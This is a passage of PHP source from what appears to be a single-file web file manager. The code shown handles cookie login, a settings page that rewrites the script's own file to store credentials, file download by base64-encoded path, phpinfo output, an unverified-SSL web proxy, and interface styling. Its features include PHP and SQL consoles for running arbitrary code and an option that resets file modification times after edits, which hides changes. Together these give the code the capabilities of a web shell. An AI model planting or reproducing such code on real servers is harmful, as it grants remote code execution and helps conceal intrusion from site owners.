	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>FileXXXXXXXXXXX</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
